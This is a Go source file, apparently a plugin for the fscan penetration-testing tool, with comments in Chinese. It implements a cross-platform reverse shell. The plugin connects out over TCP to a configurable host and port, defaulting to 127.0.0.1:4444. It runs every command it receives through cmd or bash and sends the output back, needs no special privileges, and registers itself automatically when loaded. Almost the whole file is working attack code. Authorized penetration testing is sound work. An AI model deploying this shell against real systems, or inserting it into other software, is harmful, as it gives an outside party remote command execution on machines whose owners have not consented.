package reverseshell import ( "bufio" "context" "fmt" "io" "net" "os" "os/exec" "runtime" "strconv" "strings" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/plugins/base" "github.com/shadow1ng/fscan/plugins/local" ) // ReverseShellPlugin 反弹Shell插件 - 使用简化架构 type ReverseShellPlugin struct { *local.BaseLocalPlugin target string // 目标地址:端口 host string port int } // NewReverseShellPlugin 创建反弹Shell插件 - 简化版本 func NewReverseShellPlugin() *ReverseShellPlugin { // 从全局参数获取反弹Shell目标 target := common.ReverseShellTarget if target == "" { // 如果没有指定目标,使用默认值 target = "127.0.0.1:4444" } metadata := &base.PluginMetadata{ Name: "reverseshell", Version: "1.0.0", Author: "fscan-team", Description: "纯Go原生反弹Shell本地插件,支持Windows/Linux/macOS", Category: "local", Tags: []string{"local", "shell", "reverse", "crossplatform", "native"}, Protocols: []string{"local"}, } // 解析目标地址 host, portStr, err := net.SplitHostPort(target) if err != nil { host = target portStr = "4444" // 默认端口 } port, err := strconv.Atoi(portStr) if err != nil { port = 4444 // 默认端口 } plugin := &ReverseShellPlugin{ BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), target: target, host: host, port: port, } // 设置支持的平台 plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) // 不需要特殊权限 plugin.SetRequiresPrivileges(false) return plugin } // Initialize 初始化插件 func (p *ReverseShellPlugin) Initialize() error { // 调用基类初始化 return p.BaseLocalPlugin.Initialize() } // Scan 重写扫描方法以确保调用正确的ScanLocal实现 func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { return p.ScanLocal(ctx, info) } // ScanLocal 执行反弹Shell扫描 - 简化版本 func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { common.LogBase("启动Go原生反弹Shell...") // 启动反弹shell common.LogBase(fmt.Sprintf("连接到目标 %s", p.target)) // 直接在当前goroutine中运行,这样可以确保在设置ReverseShellActive后立即被主程序检测到 err := p.startNativeReverseShell(ctx, p.host, p.port) if err != nil { common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err)) return &base.ScanResult{ Success: false, Error: err, }, nil } result := &base.ScanResult{ Success: true, Service: "ReverseShell", Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", p.target, runtime.GOOS), Extra: map[string]interface{}{ "target": p.target, "platform": runtime.GOOS, "implementation": "go_native", "status": "completed", }, } return result, nil } // startNativeReverseShell 启动Go原生反弹Shell - 核心实现 func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int) error { // 连接到目标 conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", host, port)) if err != nil { return fmt.Errorf("连接失败: %v", err) } defer conn.Close() common.LogSuccess(fmt.Sprintf("反弹Shell已连接到 %s:%d", host, port)) // 设置反弹Shell为活跃状态,告诉主程序保持运行 common.ReverseShellActive = true defer func() { // 确保退出时清除活跃状态 common.ReverseShellActive = false }() // 发送欢迎消息 welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH) conn.Write([]byte(welcomeMsg)) conn.Write([]byte("Type 'exit' to quit\n")) // 创建读取器 reader := bufio.NewReader(conn) for { // 检查上下文取消 select { case <-ctx.Done(): conn.Write([]byte("Shell session terminated by context\n")) return ctx.Err() default: } // 发送提示符 prompt := fmt.Sprintf("%s> ", getCurrentDir()) conn.Write([]byte(prompt)) // 读取命令 cmdLine, err := reader.ReadString('\n') if err != nil { if err == io.EOF { common.LogBase("反弹Shell连接关闭") return nil } return fmt.Errorf("读取命令错误: %v", err) } // 清理命令 cmdLine = strings.TrimSpace(cmdLine) if cmdLine == "" { continue } // 检查退出命令 if cmdLine == "exit" { conn.Write([]byte("Goodbye!\n")) return nil } // 执行命令 result := p.executeCommand(cmdLine) // 发送结果 conn.Write([]byte(result + "\n")) } } // executeCommand 执行系统命令 func (p *ReverseShellPlugin) executeCommand(cmdLine string) string { var cmd *exec.Cmd // 根据操作系统选择命令解释器 switch runtime.GOOS { case "windows": cmd = exec.Command("cmd", "/C", cmdLine) case "linux", "darwin": cmd = exec.Command("bash", "-c", cmdLine) default: return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS) } // 执行命令并获取输出 output, err := cmd.CombinedOutput() if err != nil { return fmt.Sprintf("错误: %v\n%s", err, string(output)) } return string(output) } // getCurrentDir 获取当前目录 func getCurrentDir() string { dir, err := os.Getwd() if err != nil { return "unknown" } return dir } // GetLocalData 获取反弹Shell本地数据 func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { data := make(map[string]interface{}) // 获取系统信息 data["plugin_type"] = "reverseshell" data["platform"] = runtime.GOOS data["arch"] = runtime.GOARCH data["target"] = p.target data["implementation"] = "go_native" if homeDir, err := os.UserHomeDir(); err == nil { data["home_dir"] = homeDir } if workDir, err := os.Getwd(); err == nil { data["work_dir"] = workDir } return data, nil } // GetInfo 获取插件信息 func (p *ReverseShellPlugin) GetInfo() string { var info strings.Builder info.WriteString("Go原生反弹Shell插件\n") info.WriteString(fmt.Sprintf("目标: %s\n", p.target)) info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) info.WriteString("功能: 建立反弹Shell连接,支持交互式命令执行\n") info.WriteString("实现方式: 纯Go原生,无外部依赖\n") return info.String() } // RegisterReverseShellPlugin 注册反弹Shell插件 func RegisterReverseShellPlugin() { factory := base.NewSimplePluginFactory( &base.PluginMetadata{ Name: "reverseshell", Version: "1.0.0", Author: "fscan-team", Description: "纯Go原生反弹Shell本地插件,支持Windows/Linux/macOS", Category: "local", Tags: []string{"reverseshell", "local", "shell", "crossplatform", "native"}, Protocols: []string{"local"}, }, func() base.Plugin { return NewReverseShellPlugin() }, ) base.GlobalPluginRegistry.Register("reverseshell", factory) } // init 插件注册函数 func init() { RegisterReverseShellPlugin() }